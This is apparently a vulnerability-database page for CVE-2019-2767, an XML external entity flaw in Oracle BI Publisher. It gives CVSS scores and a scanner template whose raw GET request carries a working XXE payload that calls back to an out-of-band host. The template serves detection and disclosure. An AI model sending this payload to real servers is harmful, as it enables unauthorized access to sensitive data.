CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
95.8%
Oracle Business Intelligence Publisher is vulnerable to an XML external entity injection attack. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise BI Publisher.
id: CVE-2019-2767
info:
name: Oracle Business Intelligence Publisher - XML External Entity Injection
author: madrobot
severity: high
description: Oracle Business Intelligence Publisher is vulnerable to an XML external entity injection attack. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise BI Publisher.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to sensitive information or disrupt the availability of the system.
remediation: |
Apply the latest security patches provided by Oracle to fix this vulnerability.
reference:
- https://www.exploit-db.com/exploits/46729
- http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-2767
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/vah13/Oracle-BI-bugs
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2019-2767
epss-score: 0.14972
epss-percentile: 0.95807
cpe: cpe:2.3:a:oracle:bi_publisher:11.1.1.9.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: oracle
product: bi_publisher
tags: cve,cve2019,edb,oracle,xxe,oast
http:
- raw:
- |
GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{interactsh-url}}/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4a0a00473045022100ab53a30541dfa06c226087687709439be0aad2b92957273557b87fb5324093d40220468aa50188a9aef751c4da2d9a67d2d9b3e9d4cba73a2b0b43802ea1eb77db0b:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
95.8%